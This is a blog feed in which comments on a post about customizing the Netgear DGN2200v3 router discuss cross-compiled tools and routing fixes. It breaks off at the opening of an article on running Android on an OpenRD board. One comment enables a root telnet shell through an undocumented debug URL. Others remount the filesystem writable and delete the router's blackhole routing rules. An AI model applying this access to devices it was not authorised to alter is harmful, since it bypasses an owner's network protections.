I compiled for you znc 1.4 which doesn’t require c++. I cannot try it right now since I dont use the DGN2200v3 at the moment since I’ve moved and using now cable here. Please give it a try and let me know! If it doesn’t work I’ll get out the DGN from the relocation boxes and make sure it goes 🙂</p>
<p>Here is the src tarball with compiled files: <a href="http://www.evolware.org/dnload/dgn2200n/znc-1.4-dgn2200-src-bin.tar.gz" target="_blank" rel="nofollow"><a href="http://www.evolware.org/dnload/dgn2200n/znc-1.4-dgn2200-src-bin.tar.gz">http://www.evolware.org/dnload/dgn2200n/znc-1.4-dgn2200-src-bin.tar.gz</a></a><br>
(In case it complains about SSL libraries please get them from one of the packs in the article and put them in the same dir or so)</p>
<p>Ciao,<br>
F.</p>
</blockquote>
<ul>
<li><strong>Andy on 2015-06-07 03:24:36 +0100</strong></li>
</ul>
<blockquote>
<p>I want to add my own local hostnames to the /etc/hosts file on my Netgear DGN2200v3 V1.1.00.24_1.00.24, so the names are available to any device on my local network. The netgear <strong>resolv.conf</strong> only has nameserver entries (for the external DNS servers I’ve stated in the GUI), so unless Netgear have had a play with the default resolv behaviour of checking the <strong>/etc/hosts</strong> file first, before pestering a DNS server, this should suit my requirements. Unfortunately I’ve hit an issue, they have added something that dynamically regenerates the <strong>/etc/hosts</strong> file on reboot. Does anyone know what’s doing this / where to stick your own mappings on the router, to get them to reappear in the <strong>/etc/hosts</strong> file after a reboot (the <strong>/usr/etc/hosts</strong> file doesn’t work)?</p>
<p>Or alternatively how the custom <strong>init.d</strong> process works? As I’m sure I could stick a custom script in place to append a list of hosts at a suitable point, if I were to know when in the process the <strong>/etc/hosts</strong> file is overwritten.</p>
<p>$ wget –output-document=/dev/null <a href="http://$NETGEARUSER:$NETGEARPASS@192.168.0.1/setup.cgi?todo=debug" rel="nofollow ugc">http://$NETGEARUSER:$NETGEARPASS@192.168.0.1/setup.cgi?todo=debug</a><br>
$ telnet 192.168.0.1<br>
…<br>
# cat /etc/hosts<br>
192.168.0.1 <a href="http://www.routerlogin.com" rel="nofollow ugc"><a href="http://www.routerlogin.com">http://www.routerlogin.com</a></a><br>
192.168.0.1 routerlogin.com<br>
192.168.0.1 <a href="http://www.routerlogin.net" rel="nofollow ugc"><a href="http://www.routerlogin.net">http://www.routerlogin.net</a></a><br>
192.168.0.1 routerlogin.net<br>
192.168.0.1 readyshare.routerlogin.net<br>
192.168.0.1 readyshare.routerlogin.com<br>
# mount -n -o remount,rw /<br>
# echo “192.168.0.1 another.domain” &raquo; /etc/hosts<br>
# mount -n -o remount,ro /</p>
</blockquote>
<ul>
<li><strong>Amit on 2015-06-08 12:36:05 +0100</strong></li>
</ul>
<blockquote>
<p>Is there a way to compile sftp-server</p>
</blockquote>
<ul>
<li><strong>Amit on 2015-06-11 11:02:47 +0100</strong></li>
</ul>
<blockquote>
<p>Is it possible to port bitsync</p>
</blockquote>
<ul>
<li><strong>Dean on 2015-06-19 08:50:49 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico,</p>
<p>Sorry I’ve taken so long to get back to you. Thank you for compiling ZNC, I got it to work for me. Ive looked through your blog and I can’t find the SSL libraries you mentioned can you point me in the right direction?<br>
Thanks again your the best!<br>
Dean.</p>
</blockquote>
<ul>
<li><strong>Sami on 2015-06-25 09:25:29 +0100</strong></li>
</ul>
<blockquote>
<p>Excellent! Tried it on my DGN2200v3. Works like a charm. Whether there’s an extra delay from boot to established internet connection, I’m not sure.</p>
</blockquote>
<ul>
<li><strong>whiterabbit on 2015-08-24 03:57:38 +0100</strong></li>
</ul>
<blockquote>
<p>I have EXACT SAME question…been trollin for days…pleez help if you can.</p>
<p>“At home i have the netgear dgn 2200 v3 and i’m trying to make it “wake on lan” my home pc . I can wake it up from another pc in the same lan. But i’m trying to find a way to do it directly from the router. You compiled nc which is cool bu unfortunately there is a known and old bug that make udp broadcast impossible. Can you please point me to the correct toolchain to crosscompile socat which work perfectly? In fact i just need to broadcast a udp packet.” wrote by Danielle in 2014! never was responded too….</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2015-08-29 16:25:18 +0100</strong></li>
</ul>
<blockquote>
<p>Hi,<br>
You can find socat 2.0.0-b8 compiled for DGN2200 here:<br>
<a href="http://www.evolware.org/dnload/dgn2200n/socat-2.0.0-b8-dgn2200-bin.tar.gz" target="_blank" rel="nofollow"><a href="http://www.evolware.org/dnload/dgn2200n/socat-2.0.0-b8-dgn2200-bin.tar.gz">http://www.evolware.org/dnload/dgn2200n/socat-2.0.0-b8-dgn2200-bin.tar.gz</a></a></p>
<p>In the tar there is also libreadline that is needed. I tried it briefly on my device and it works:</p>
<p><code># LD_LIBRARY_PATH=. ./socat - TCP-LISTEN:25,crlf</code></p>
<p>Hopefully it works correctly also for the specific needs you have</p>
<p>Ciao,<br>
F.</p>
</blockquote>
<ul>
<li><strong>Daniel on 2016-05-09 07:51:15 +0100</strong></li>
</ul>
<blockquote>
<p>Ciao Federico,</p>
<p>ho bisogno di un tuo aiuto! Possiedo un Netgear d6200, ho già provveduto a scaricare i sorgenti dal loro sito per compilarmi nano tag e company dato che quelli già compilati non sembrano andare al 100%.<br>
Quando provo a compilare o a fare il make non mi va nulla, non capisco perchè.. Ho provato con osx e con ubuntu, ma nada.<br>
Saresti così gentile da compilarmi nano, tar e gzip? Grazie</p>
</blockquote>
<ul>
<li><strong>David on 2016-08-27 23:55:30 +0100</strong></li>
</ul>
<blockquote>
<p>Hi,</p>
<p>Good job, thanks!!</p>
<p>I was wondering how you have compiled tcpdump, because I have compiled like this … and it doesn’t work in my Huawei HG556a:</p>
<p>Download and decompress libpcap<br>
export CFLAGS=”-muclibc -static”<br>
CC=mips-linux-gnu-gcc ac_cv_linux_vers=2 ./configure –host=mips-linux-gnu –with-pcap=linux<br>
make</p>
<p>Download and decompress tcpdump<br>
CC=mips-linux-gnu-gcc ac_cv_linux_vers=2 ./configure –host=mips-linux-gnu –includedir=/to/the/path/libpcap –disable-ipv6<br>
make</p>
<p>However, I have downloaded your tcpdump binary and it works, how did you do it?</p>
<p>Thanks, best regards.</p>
</blockquote>
<ul>
<li><strong>Vincent on 2016-12-12 17:42:10 +0100</strong></li>
</ul>
<blockquote>
<p>Hello,</p>
<p>That is such a good post, thank you!</p>
<p>I managed to telnet into the router, but I can’t seem to connect through FTP. I used WinSCP and tried FTP, SFTP and SCP, but nothing worked. All using the user/pass of the router.</p>
<p>Also, I created a couple .sh scripts and added a line at the end of /usr/etc/rcS to run these 2 scripts, but they don’t seem to get executed when I reboot the router.</p>
<p>Any idea how I can manage this?</p>
<p>Thanks!</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2016-12-20 15:06:49 +0100</strong></li>
</ul>
<blockquote>
<p>Hi,<br>
Are you sure the scripts are correct (with the shebang at the beginning) and executable? Have you tried to run them by hand?</p>
<p>FTP should work by default. It’s a long time I don’t use it (I can get it out of the box when I have a little of time) but try both “root” and “admin” as username and the password the same as set via network.</p>
<p>Cheers,</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2016-12-20 15:10:04 +0100</strong></li>
</ul>
<blockquote>
<p>Hi,<br>
You have to force some arguments in the cache file of configure. Sincerely as it passed so much time I don’t remember which, but here is the complete config log so you can try it out, so tcpdump:</p>
<p><code>./configure --host=mips-linux --cache mycachefile</code></p>
<p>And mycachefile is:</p>
<p>``<br /></p>
<h1 id="this-file-is-a-shell-script-that-caches-the-results-of-configurebr-">This file is a shell script that caches the results of configure<br /></h1>
<h1 id="tests-run-on-this-system-so-they-can-be-shared-between-configurebr-">tests run on this system so they can be shared between configure<br /></h1>
<h1 id="scripts-and-configure-runs-see-configures-option---config-cachebr-">scripts and configure runs, see configure&rsquo;s option &ndash;config-cache.<br /></h1>
<h1 id="it-is-not-useful-on-other-systems--if-it-contains-results-you-dontbr-">It is not useful on other systems.  If it contains results you don&rsquo;t<br /></h1>
<h1 id="want-to-keep-you-may-remove-or-edit-itbr-">want to keep, you may remove or edit it.<br /></h1>
<p>#<br /></p>
<h1 id="configstatus-only-pays-attention-to-the-cache-file-if-you-give-itbr-">config.status only pays attention to the cache file if you give it<br /></h1>
<h1 id="the---recheck-option-to-rerun-configurebr-">the &ndash;recheck option to rerun configure.<br /></h1>
<p>#<br /></p>
<h1 id="ac_cv_env_foo-variables-set-or-unset-will-be-overridden-whenbr-">`ac_cv_env_foo&rsquo; variables (set or unset) will be overridden when<br /></h1>
<h1 id="loading-this-file-other-unset-ac_cv_foo-will-be-assigned-thebr-">loading this file, other <em>unset</em> `ac_cv_foo&rsquo; will be assigned the<br /></h1>
<h1 id="following-valuesp">following values.</p></h1>
<p>ac_cv___attribute__=${ac_cv___attribute__=yes}<br />
ac_cv___attribute___format_function_pointer=${ac_cv___attribute___format_function_pointer=yes}<br />
ac_cv_addrinfo=${ac_cv_addrinfo=yes}<br />
ac_cv_build=${ac_cv_build=x86_64-unknown-linux-gnu}<br />
ac_cv_c_compiler_gnu=${ac_cv_c_compiler_gnu=yes}<br />
ac_cv_env_CC_set=<br />
ac_cv_env_CC_value=<br />
ac_cv_env_CFLAGS_set=<br />
ac_cv_env_CFLAGS_value=<br />
ac_cv_env_CPPFLAGS_set=<br />
ac_cv_env_CPPFLAGS_value=<br />
ac_cv_env_CPP_set=<br />
ac_cv_env_CPP_value=<br />
ac_cv_env_LDFLAGS_set=set<br />
ac_cv_env_LDFLAGS_value=--static<br />
ac_cv_env_LIBS_set=<br />
ac_cv_env_LIBS_value=<br />
ac_cv_env_build_alias_set=<br />
ac_cv_env_build_alias_value=<br />
ac_cv_env_host_alias_set=set<br />
ac_cv_env_host_alias_value=mips-linux<br />
ac_cv_env_target_alias_set=<br />
ac_cv_env_target_alias_value=<br />
ac_cv_func_alarm=${ac_cv_func_alarm=yes}<br />
ac_cv_func_bpf_dump=${ac_cv_func_bpf_dump=yes}<br />
ac_cv_func_ether_ntohost=${ac_cv_func_ether_ntohost=no}<br />
ac_cv_func_fork=${ac_cv_func_fork=yes}<br />
ac_cv_func_pcap_breakloop=${ac_cv_func_pcap_breakloop=yes}<br />
ac_cv_func_pcap_create=${ac_cv_func_pcap_create=yes}<br />
ac_cv_func_pcap_datalink_name_to_val=${ac_cv_func_pcap_datalink_name_to_val=yes}<br />
ac_cv_func_pcap_datalink_val_to_description=${ac_cv_func_pcap_datalink_val_to_description=yes}<br />
ac_cv_func_pcap_dump_flush=${ac_cv_func_pcap_dump_flush=yes}<br />
ac_cv_func_pcap_dump_ftell=${ac_cv_func_pcap_dump_ftell=yes}<br />
ac_cv_func_pcap_findalldevs=${ac_cv_func_pcap_findalldevs=yes}<br />
ac_cv_func_pcap_lib_version=${ac_cv_func_pcap_lib_version=yes}<br />
ac_cv_func_pcap_list_datalinks=${ac_cv_func_pcap_list_datalinks=yes}<br />
ac_cv_func_pcap_loop=${ac_cv_func_pcap_loop=yes}<br />
ac_cv_func_pcap_set_datalink=${ac_cv_func_pcap_set_datalink=yes}<br />
ac_cv_func_pcap_set_tstamp_type=${ac_cv_func_pcap_set_tstamp_type=yes}<br />
ac_cv_func_setlinebuf=${ac_cv_func_setlinebuf=yes}<br />
ac_cv_func_sigaction=${ac_cv_func_sigaction=yes}<br />
ac_cv_func_snprintf=${ac_cv_func_snprintf=yes}<br />
ac_cv_func_strcasecmp=${ac_cv_func_strcasecmp=yes}<br />
ac_cv_func_strdup=${ac_cv_func_strdup=yes}<br />
ac_cv_func_strftime=${ac_cv_func_strftime=yes}<br />
ac_cv_func_strlcat=${ac_cv_func_strlcat=yes}<br />
ac_cv_func_strlcpy=${ac_cv_func_strlcpy=yes}<br />
ac_cv_func_strsep=${ac_cv_func_strsep=yes}<br />
ac_cv_func_vfork=${ac_cv_func_vfork=yes}<br />
ac_cv_func_vfprintf=${ac_cv_func_vfprintf=yes}<br />
ac_cv_func_vsnprintf=${ac_cv_func_vsnprintf=yes}<br />
ac_cv_header_fcntl_h=${ac_cv_header_fcntl_h=yes}<br />
ac_cv_header_inttypes_h=${ac_cv_header_inttypes_h=yes}<br />
ac_cv_header_memory_h=${ac_cv_header_memory_h=yes}<br />
ac_cv_header_net_pfvar_h=${ac_cv_header_net_pfvar_h=no}<br />
ac_cv_header_netdnet_dnetdb_h=${ac_cv_header_netdnet_dnetdb_h=no}<br />
ac_cv_header_netinet_if_ether_h=${ac_cv_header_netinet_if_ether_h=yes}<br />
ac_cv_header_pcap_bluetooth_h=${ac_cv_header_pcap_bluetooth_h=no}<br />
ac_cv_header_pcap_usb_h=${ac_cv_header_pcap_usb_h=no}<br />
ac_cv_header_rpc_rpc_h=${ac_cv_header_rpc_rpc_h=yes}<br />
ac_cv_header_rpc_rpcent_h=${ac_cv_header_rpc_rpcent_h=no}<br />
ac_cv_header_smi_h=${ac_cv_header_smi_h=no}<br />
ac_cv_header_stdc=${ac_cv_header_stdc=yes}<br />
ac_cv_header_stdint_h=${ac_cv_header_stdint_h=yes}<br />
ac_cv_header_stdlib_h=${ac_cv_header_stdlib_h=yes}<br />
ac_cv_header_string_h=${ac_cv_header_string_h=yes}<br />
ac_cv_header_strings_h=${ac_cv_header_strings_h=yes}<br />
ac_cv_header_sys_bitypes_h=${ac_cv_header_sys_bitypes_h=yes}<br />
ac_cv_header_sys_stat_h=${ac_cv_header_sys_stat_h=yes}<br />
ac_cv_header_sys_types_h=${ac_cv_header_sys_types_h=yes}<br />
ac_cv_header_time=${ac_cv_header_time=yes}<br />
ac_cv_header_unistd_h=${ac_cv_header_unistd_h=yes}<br />
ac_cv_host=${ac_cv_host=mips-unknown-linux-gnu}<br />
ac_cv_lbl_gcc_vers=${ac_cv_lbl_gcc_vers=4}<br />
ac_cv_lbl_inline=${ac_cv_lbl_inline=inline}<br />
ac_cv_lbl_sockaddr_has_sa_len=${ac_cv_lbl_sockaddr_has_sa_len=no}<br />
ac_cv_lbl_unaligned_fail=${ac_cv_lbl_unaligned_fail=yes}<br />
ac_cv_lib_dlpi_dlpi_walk=${ac_cv_lib_dlpi_dlpi_walk=no}<br />
ac_cv_lib_rpc_main=${ac_cv_lib_rpc_main=no}<br />
ac_cv_lib_smi_smiInit=${ac_cv_lib_smi_smiInit=no}<br />
ac_cv_linux_vers=${ac_cv_linux_vers=2}<br />
ac_cv_maxserv=${ac_cv_maxserv=yes}<br />
ac_cv_namereqd=${ac_cv_namereqd=yes}<br />
ac_cv_objext=${ac_cv_objext=o}<br />
ac_cv_path_EGREP=${ac_cv_path_EGREP='/bin/grep -E'}<br />
ac_cv_path_GREP=${ac_cv_path_GREP=/bin/grep}<br />
ac_cv_path_ac_pt_PCAP_CONFIG=${ac_cv_path_ac_pt_PCAP_CONFIG=/opt/toolchains/uclibc-crosstools-gcc-4.4.2-1/usr/bin//pcap-config}<br />
ac_cv_path_install=${ac_cv_path_install='/usr/bin/install -c'}<br />
ac_cv_prog_CC=${ac_cv_prog_CC=mips-linux-gcc}<br />
ac_cv_prog_CPP=${ac_cv_prog_CPP='mips-linux-gcc -E'}<br />
ac_cv_prog_RANLIB=${ac_cv_prog_RANLIB=mips-linux-ranlib}<br />
ac_cv_prog_cc_c89=${ac_cv_prog_cc_c89=}<br />
ac_cv_prog_cc_g=${ac_cv_prog_cc_g=yes}<br />
ac_cv_sa_storage=${ac_cv_sa_storage=yes}<br />
ac_cv_search_dnet_htoa=${ac_cv_search_dnet_htoa=no}<br />
ac_cv_search_gethostbyname=${ac_cv_search_gethostbyname='none required'}<br />
ac_cv_search_getrpcbynumber=${ac_cv_search_getrpcbynumber='none required'}<br />
ac_cv_search_putmsg=${ac_cv_search_putmsg=no}<br />
ac_cv_search_socket=${ac_cv_search_socket='none required'}<br />
ac_cv_sockaddr_has_sa_len=${ac_cv_sockaddr_has_sa_len=no}<br />
ac_cv_ssleay_path=${ac_cv_ssleay_path=no}<br />
ac_cv_type_int16_t=${ac_cv_type_int16_t=yes}<br />
ac_cv_type_int32_t=${ac_cv_type_int32_t=yes}<br />
ac_cv_type_int64_t=${ac_cv_type_int64_t=yes}<br />
ac_cv_type_int8_t=${ac_cv_type_int8_t=yes}<br />
ac_cv_type_pcap_if_t=${ac_cv_type_pcap_if_t=yes}<br />
ac_cv_type_signal=${ac_cv_type_signal=void}<br />
ac_cv_type_u_int16_t=${ac_cv_type_u_int16_t=yes}<br />
ac_cv_type_u_int32_t=${ac_cv_type_u_int32_t=yes}<br />
ac_cv_type_u_int64_t=${ac_cv_type_u_int64_t=yes}<br />
ac_cv_type_u_int8_t=${ac_cv_type_u_int8_t=yes}<br />
ac_cv_var_h_errno=${ac_cv_var_h_errno=yes}<br />
ac_lbl_cv_pcap_debug_defined=${ac_lbl_cv_pcap_debug_defined=no}<br />
ac_lbl_cv_yydebug_defined=${ac_lbl_cv_yydebug_defined=no}<br />
td_cv_decl_netdnet_dnetdb_h_dnet_htoa=${td_cv_decl_netdnet_dnetdb_h_dnet_htoa=no}<br />
`` 
<p>And libpcap:</p>
<p><code>./configure --host=mips-linux --prefix=/opt/toolchains/uclibc-crosstools-gcc-4.4.2-1/usr/ --with-pcap=linux</code></p>
<p>HTH</p>
</blockquote>
<ul>
<li><strong>Vincent Lavoie on 2016-12-27 21:22:52 +0100</strong></li>
</ul>
<blockquote>
<p>Thanks!</p>
<p>I managed to start the FTP server with bftpd, which is already provided on the router 🙂</p>
</blockquote>
<ul>
<li><strong>Mitja on 2017-01-16 13:46:00 +0100</strong></li>
</ul>
<blockquote>
<p>Hi do you think I can change LED color from green into blue or yellow?</p>
<p>Thanks for Anwsering and Best Regards</p>
</blockquote>
<ul>
<li><strong>Barry on 2017-01-25 13:42:25 +0100</strong></li>
</ul>
<blockquote>
<p>This is a great resource Frederico, fantastic work!</p>
<p>So are we permitted to still ask you a question on the DGN2200v3?</p>
<p>I am a total noob too so apologies if this is a silly question….</p>
<p>So, is it possible in anyway to have one of the lan ports re-assigned as a wan port? As I say I am a total noob, but I’m assuming it would have something to do with ifconfig and iptables? GUessing all of this would have to be done from cmd line and there would be no GUI supported since there isn’t a wan port on this device by default.</p>
<p>No need to worry about my question if you no longer have the router.</p>
<p>Thanks!</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2017-01-27 07:31:45 +0100</strong></li>
</ul>
<blockquote>
<p>Hi,<br>
I still have the router but unplugged from a long time since I have cable from a few years now 🙂</p>
<p>In principle: yes, can be done, but requires some command line (for sure no UI support) work with route and iptables to redirect traffic depending on the interface. For sure it is feasible!</p>
<p>Cheers,<br>
Federico</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2017-01-27 07:32:16 +0100</strong></li>
</ul>
<blockquote>
<p>Sorry not really I think.<br>
Cheers,</p>
</blockquote>
<ul>
<li><strong>Ian on 2017-02-07 21:54:43 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico,</p>
<p>I have this router and was wondering if it was possible to configure it to act as a wireless station. E.g. it would power up and attatch to another wireless access point and then bridge that network over to the four ethernet points.</p>
<p>I’m trying to attach a device that is in another room of my house that only has an ethernet port to the existing wireless network.</p>
<p>Thanks,</p>
<p>Ian.</p>
</blockquote>
<ul>
<li><strong>Nick on 2017-08-04 15:26:38 +0100</strong></li>
</ul>
<blockquote>
<p>I have the same question as Barry. I saw in older firmware versions they actually had the feature in the GUI (it was called WAN Preference, in the 1.1.0.19.xx version of the firmware on the Advanced &gt; WAN Setup page). I used to have it, then I “upgraded” the firmware and lost it. I can no longer find the x.19.x firmware on the net either.</p>
<p>See it here (page 42). WAN Preference can be set to auto, lan, or wan (port 4). <a href="https://www.downloads.netgear.com/files/GDC/DGN2200V3/DGN2200v3_UM_15May2013.pdf" rel="nofollow ugc"><a href="https://www.downloads.netgear.com/files/GDC/DGN2200V3/DGN2200v3_UM_15May2013.pdf">https://www.downloads.netgear.com/files/GDC/DGN2200V3/DGN2200v3_UM_15May2013.pdf</a></a></p>
</blockquote>
<ul>
<li><strong>DaveW on 2018-02-06 08:55:41 +0100</strong></li>
</ul>
<blockquote>
<p>Hi there</p>
<p>Great resource, thanks for putting it up.</p>
<p>I have a DGN2200v3 sitting around that I replaced a while back and would like to use it as an wireless Access Point.</p>
<p>Other models have an AP mode but the 2200v3 does not display one in the GUI but you can disable the DHCP server and connect to the network via ethernet if you have DHCP on the main router.</p>
<p>Deon from 2013 discovered the issue that everyone else has had, the DGN2200 does not pass through the DHCP packets on wireless. Works fine via a cable to the PC from the DGN2200 as the switch is just passing through all traffic but no go on wireless.</p>
<p>My question is if there is a non GUI way of setting the firmware to act as an AP and allow DHCP traffic to pass?</p>
<p>Regards<br>
Dave</p>
</blockquote>
<ul>
<li><strong>Gabriele on 2018-04-16 11:30:35 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico,<br>
I can’t believe what incredible job you did it!! Very good!! By your name I think you’re italian, and I’m italian too. I’m also an arduino/raspberry builder (especially for home domotic services)<br>
I need your kindly help to configure my router DGN2200 v4 to manage snmp service. Is there anyway? I can connect to my router via telnet successfully!<br>
Thanks a lot!!</p>
</blockquote>
<ul>
<li><strong>Gabriele on 2018-04-16 11:32:40 +0100</strong></li>
</ul>
<blockquote>
<p>Can I use that guide for a dgn2200 v4?? Thanks!</p>
</blockquote>
<ul>
<li><strong>ubuntupunk on 2019-04-30 15:18:02 +0100</strong></li>
</ul>
<blockquote>
<p>DGN2200 v1, accessible only via telnetable, which passes data, and allows telnet access<br>
but<br>
~ # mount -n -o remount,rw /<br>
Can’t find / in /etc/fstab</p>
</blockquote>
<ul>
<li><strong>DAVID LEWIS on 2019-05-02 15:43:13 +0100</strong></li>
</ul>
<blockquote>
<p>Samba is not running Choose action: Start Restart Stop<br>
I take it there is html missing?</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2019-05-04 05:26:14 +0100</strong></li>
</ul>
<blockquote>
<p>Can you do a:<br>
cat /etc/fstab<br>
To see what it contains in your case?</p>
</blockquote>
<ul>
<li><strong>Rikka0w0 on 2019-09-29 19:38:20 +0100</strong></li>
</ul>
<blockquote>
<p>Hi,</p>
<p>I’m using the router as a network switch (ip fixed to 192.168.0.2), that is DHCP server on the router is disabled and the WAN port is left unused. All cable go to the LAN ports. The DHCP function is provided by another router. This setup works without any issue.</p>
<p>I started a TCP-based service on the router, it listens on 2233, I was able to access it from 192.168.0.x, but even I have configured port forwarding on the primary router (The one providing network access and DHCP service), the TCP-based service is not accessible from the outside network.</p>
<p>Do you have any idea about this?</p>
<p>Thanks in advance!</p>
</blockquote>
<ul>
<li><strong>Rikka0w0 on 2019-09-29 19:41:16 +0100</strong></li>
</ul>
<blockquote>
<p>I’m having a similar setup with Netgear D6200 without any problem.<br>
I think passing the DHCP traffic might be related to the iptables.</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2019-10-03 04:27:33 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Rikka0w0,<br>
Do you have the default route set on the router? From what you describe this would seem like the issue to me. The default route should be set to point to the other router that provides you access to the outside.</p>
<p>Cheers,<br>
F.</p>
</blockquote>
<ul>
<li><strong>Rikka0w0 on 2019-10-06 16:51:24 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico,</p>
<p>After several attempts, I succeeded! Thanks for your help! What I discovered it that, just adding a default gateway is not going to work. I found 3 ip rules which throw packets from ips other than 192.168.x.x into the blackhole, so I deleted them:</p>
<p># Delete blackhole rules<br>
ip rule del prio 32763<br>
ip rule del prio 32764<br>
ip rule del prio 32765</p>
<p># Set a default gateway for the network bridge (LAN ports)<br>
route add default gw 192.168.0.1 group1</p>
<p>I also need to fix the DNS configuration so that programs on the router can resolve domain name:<br>
# Set DNS name server:<br>
echo “nameserver 8.8.8.8” &gt; /etc/resolv.conf</p>
<p>While I was playing with the router, I accidentally fill up the rootfs, df command reports 100% disk usage and I was not able to use rm -rf to remove anything! The fix is really simple, copy and backup modifications made to the rootfs, and use the web management to upload a fresh official firmware image from Netgear. After reboot, the rootfs is restored. So the lesson is:<br>
NEVER FILL UP A JFFS2 PARTITION!</p>
<p>I’m using D6200, the CPU part is identical to DGN2200v3. In the firmware, there’s a program called `bftpd`. I use it to setup a ftp server and transfer files.</p>
<p>I also compiled shadowsocks-libev, iperf2 and perl5 (does not work yet):<br>
<a href="https://gist.github.com/rikka0w0/32c321d9f9bb5a54536f0b5da25b2a17" rel="nofollow ugc"><a href="https://gist.github.com/rikka0w0/32c321d9f9bb5a54536f0b5da25b2a17">https://gist.github.com/rikka0w0/32c321d9f9bb5a54536f0b5da25b2a17</a></a><br>
Instructions are here, just in case if anyone needs it.</p>
<p>Cheers!<br>
Rikka0w0</p>
</blockquote>
<ul>
<li><strong>Rikka0w0 on 2019-10-21 01:20:01 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico,</p>
<p>I finally make it work! I have to delete some routing rules as they are sending packet from the outside to the blackhole:<br>
# Delete blackhole rules<br>
ip rule del prio 32763<br>
ip rule del prio 32764<br>
ip rule del prio 32765</p>
<p>Also setup the default gateway and a DNS server address:<br>
# Set a default gateway for the network bridge (LAN ports)<br>
route add default gw 192.168.0.1 group1<br>
# Set DNS name server:<br>
echo “nameserver 8.8.8.8” &gt; /etc/resolv.conf</p>
<p>I got another question:<br>
Is it possible to make the WAN port become another LAN port? I disabled the NAT and all my cable go to LAN ports. I want to have a fifth LAN port. I added the WAN port interface (eth4) to the existing bridge interface (group1) but unfortunately that doesn’t seem to work. Could you give me any suggestion?</p>
<p>Also I made a Gist page about my patches and compiling of multiple Linux software, here it is:<br>
<a href="https://gist.github.com/rikka0w0/32c321d9f9bb5a54536f0b5da25b2a17" rel="nofollow ugc"><a href="https://gist.github.com/rikka0w0/32c321d9f9bb5a54536f0b5da25b2a17">https://gist.github.com/rikka0w0/32c321d9f9bb5a54536f0b5da25b2a17</a></a></p>
<p>Thanks,</p>
<p>Rikka0w0</p>
</blockquote>]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2012-11-22:2012-11-22T07:30:40Z</guid>

                
                    <link>https://www.evolware.org/2012/11/22/customizing-your-netgear-dgn2200nv3/</link>
                

                
                    <pubDate>Thu, 22 Nov 2012 07:30:40 UTC</pubDate>
                

                
                    <title>Customizing your Netgear DGN2200v3</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<div id="attachment_82" style="width: 310px" class="wp-caption alignright">
  <a href="http://www.evolware.org/wp-content/uploads/2012/01/P1000441.v01.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-82" class="size-medium wp-image-82" title="Android on OpenRD" src="http://www.evolware.org/wp-content/uploads/2012/01/P1000441.v01-300x225.jpg" alt="Android on OpenRD" width="300" height="225" srcset="https://www.evolware.org/wp-content/uploads/2012/01/P1000441.v01-300x225.jpg 300w, https://www.evolware.org/wp-content/uploads/2012/01/P1000441.v01.jpg 1000w" sizes="(max-width: 300px) 100vw, 300px" /></a>
  <p id="caption-attachment-82" class="wp-caption-text">
    Android on OpenRD
  </p>
</div>
<p>This is the first article about porting Android 4.0.x AKA Ice Cream Sandwich AKA ICS on the <a href="https://www.globalscaletechnologies.com/p-35-openrd-ultimate.aspx">OpenRD Client</a>. This is a pretty powerful ARM machine (1.2 Ghz  256 KB L2 cache, 512 MB RAM and Gigabit Ethernet) with a PCIe Xgi graphics chip. The goal is having a good hacking machine, so the system will be brought up via NFS root (perhaps in a future part everything will be put on the internal NAND or a SD card, it should not be difficult).</p>
<h2 id="prerequisites">Prerequisites</h2>
<p>The standard U-boot provided with the OpenRD is used to boot the system. The environment of the boot-loader has to be set-up to start mainline kernel, as outlined on the <a href="http://www.cyrius.com/debian/kirkwood/openrd/install.html">Debian on the OpenRD page</a>. The Android kernel and users-pace will be loaded via the network (the IP and paths refer to my development environment):</p>
<pre>setenv bootargs 'console=ttyS0,115200 root=/dev/nfs
 ip=10.0.10.187:10.0.10.57:10.0.10.57:255.255.255.0:openrd:eth0:off
 nfsroot=10.0.10.253:/mnt/fat/armroots/icsrd,tcp,nolock
 init=/init rw'
tftpboot 0x00800000 openrd-android ; bootm 0x00800000</pre>
<h2 id="the-linux-kernel">The Linux Kernel</h2>
<p>After some research for a Linux kernel with appropriate <em>Androidism</em> I choose to start with the kernel published by Freescale on their <a href="http://opensource.freescale.com/git">Open Source git repository</a>. I had good results with their kernel on i.MX28 and i.MX53 based machines. The patch for the OpenRD are based on the <a href="http://opensource.freescale.com/git?p=imx/linux-2.6-imx.git;a=shortlog;h=refs/heads/imx_2.6.38_android">imx_2.6.38_android branch</a>, <a href="http://opensource.freescale.com/git?p=imx/linux-2.6-imx.git;a=commit;h=5f78bbae9b0cdfb03abd91f9babdba9964b163e3">tag imx-android-r12</a>. ICS is based on Linux 3.0 kernel but I haven&rsquo;t seen big problems using this version (just some warning about missing some IP connection tracking statistics in the sysfs file-system). You can download <a href="http://www.evolware.org/dnload/openrd-android.patch">my latest patch</a> for supporting the OpenRD board and the <a href="http://www.evolware.org/dnload/config">.config file</a> I used. This patch:</p>
<ul>
<li>adds support for the Xgi frame-buffer I took out from the Marvell provided tree. There is a similar driver in the staging drivers directory but it didn&rsquo;t work well and i preferred to stick with the driver I use normally on the OpenRD while hacking with Linux.
<ul>
<li>the frame-buffer driver is fixed to not allow allocation of a double-buffering surface. I haven&rsquo;t dug in this problem yet, it looks like the Xgi driver reconfigures the graphic chip on every buffer flip creating a terrible flickering effect.</li>
<li>a patch for a bug in the correct handling of the L2 cache (which, unfortunately, didn&rsquo;t get it&rsquo;s way to the mainline kernel) is applied.</li>
<li>some other minor fixes to support Android specific OOM killer (Kirkwood arch doesn&rsquo;t have ZONE_DMA) are implemented.</li>
</ul>
</li>
</ul>
